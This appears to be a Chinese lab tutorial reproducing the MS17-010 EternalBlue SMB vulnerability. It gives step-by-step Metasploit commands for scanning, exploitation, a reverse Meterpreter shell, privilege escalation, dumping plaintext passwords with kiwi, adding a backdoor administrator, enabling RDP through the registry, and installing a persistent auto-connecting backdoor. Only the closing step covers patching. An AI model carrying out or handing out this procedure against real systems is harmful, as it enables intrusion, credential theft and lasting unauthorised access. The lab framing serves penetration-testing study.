文章目录
环境说明
1 MS17_010 简介
MS17_010 漏洞后门利用程序 EternalBlue(从目前使用情况来看,相对比较稳定)可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统,无需认证权限就能实现系统入侵控制;插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具,入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程,还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzBunch。
Windows SMB 远程任意代码执行漏洞(MS17_010) 包括如下CVE:CVE-2017-0143 严重远程命令、CVE-2017–0144严重 远程命令执行,CVE-2017-0145 严重 远程命令执行、CVE-2017-0146 严重 远程命令执行、CVE-2017-0147重要 信息泄露、CVE-2017-0148 严重 远程命令执行。
漏洞描述如下:
1)SMBv1 server 是其中一个服务器协议组件。
2)Windows 中的SMBv1服务器存在远程代码执行漏洞。
3)远程攻击者可借助特制的数据包利用漏洞执行任意代码。
以下版本受到影响:Windows Vista SP2,Windows Server 2008 SP2 和 R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Glod 和 R2,Windows RT 8.1 ,Windows 10 Glod、1511 和 1607,Windows Server 2016。
2 MS17_010 复现过程
在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing
步骤01、
打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。
步骤02、
使用ifconfig
和 ipconfig
命令分别获取渗透机和靶机的IP的地址,使用ping
命令进行网络 连通性测试,确保网络可达。
渗透机的IP 地址为 192.168.254.134,如图所示。
靶机的IP地址为 192.168.254.129,如图所示。
步骤03、
使用 msfconsole
命令启动Metasploit 渗透测试平台,如图所示。
步骤04、
使用search
命令搜索 msf 模块,即 auxiliary/scanner/smb/smb_ms17_010,验证目标靶机是否存在此漏洞,如图所示。
步骤05、
使用 use auxiliary/scanner/smb/smb_ms17_010
命令调用漏洞扫描检测模块。使用 show options
命令查看需要配置的参数,如图所示。
使用 set RHOSTS
命令设置靶机地址,使用 exploit
或者 run
命令运行扫描模块,如图所示。
步骤06、
通过扫描发现目标靶机存在 MS17_010 漏洞,使用 use 命令调用 exploit/windows/smb/ms17_010_eternalblue
漏洞利用模块,如图所示。
然后使用 show options
命令查看配置参数,并对目标靶机地址进行设置,如图所示。
步骤07、
使用 set PAYLOAD
命令设置一个攻击载荷模块,这里使用HTTPS的Meterpreter 反弹载荷,即 windows/x64/meterpreter/reverse_https,更不易察觉,如图所示。
步骤08、
使用 show opotions
命令查看载荷模块需要配置的参数,如图所示。
使用 set RHOST
命令设置目标靶机地址,如图所示。
使用 set LHOST
命令设置本地反弹连接的地址,如图所示。
然后使用 run
或者 exploit
命令运行该模块,如图所示。
步骤09、
使用 getsystem
提权到system权限,如图所示。
使用 sysinfo
命令查看目标靶机信息,如图所示。
步骤10、
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制,如图所示。
把进程迁移到PID为492这个程序中(因为当前用户),如图所示。
使用 load kiwi
命令加载密码获取模块,然后使用 creds_wdigest
命令获取管理员密码,如图所示。
步骤11、
使用 shell
命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。
然后使用 ipconfig
命令查看当前网卡的信息,如图所示。
使用 whoami
命令查看当前的系统权限,如图所示。
步骤12、
使用 net user 账户名 密码 /add
命令添加账户,然后进行提权,如图所示。
使用 net localgroup administrtors 后门用户 /add
命令将后门用户提升为管理员权限,如图所示。
步骤13、
使用 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
命令设置注册表,如图所示。
步骤14、
使用 rdesktop 靶机IP地址
命令 启动远程桌面连接终端,并使用后门用户进行登录,如图所示。
登录成功,成功渗透,如图所示。
步骤15、
在 Meterperter 命令下,使用 background
命令将 Meterpreter终端隐藏在后台,执行其他任务,如图所示。
使用 use exploit/windows/local/persistence
命令植入持续后门,再使用 show options
命令查看需要配置的参数,如图所示。
使用 set SESSION
命令设置刚才获得权限的会话,使用 set STARTUP
设置SYSTEM启动,如图所示。
使用 set LHOST
命令设置载荷模块监听的本地地址,使用 set LPORT
命令设置载荷模块的监听的本地端口,如图所示。
然后使用 run
或者 exploit
命令运行该模块,如图所示。
步骤16、
首先按 <Ctrl + Shift + T>
组合键打开一个新窗口,然后使用 use /exploit/multi/handler
命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp
命令,设置本地监听的地址 192.168.254.134,设置监听端口 3306,最后使用 show options
命令查看最终的配置,如图所示。
步骤17、
在之前的 Meterpreter 下使用 reboot
命令重启目标靶机,此时靶机将重新启动并加载之前的持续后门,如图所示。
由于权限不够而导致重启失败,可尝试终止 lsass.exe 进程,让系统进入异常重启状态,如图所示。
如果没有出现由于权限不够而导致重启失败,正常情况下重启系统,在监听会有后门脚本主动连接上,如图所示。
若重启后发现该后门脚本无法正常运行,如图所示。根据后门维持脚本生成的文件目录找到该脚本文件,可推测是由于系统安全机制拦截,如图所示。
此时需要手动将该脚本复制到开机自启动项中:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,如图所示。
步骤18、
在 windows/handler 模块下使用 set LHOST (渗透剂IP)
,set LPORT (监听端口)
命令,最后使用 exploit -j
命令进行后台监听,再次重启目标靶机然后等待持续后门的自动连接,至此后门维持结束。
3 MS17_010 安全加固
步骤19、
大多数用户启用了 “自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“启动更新” 的用户必须检查更新并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新,如图所示。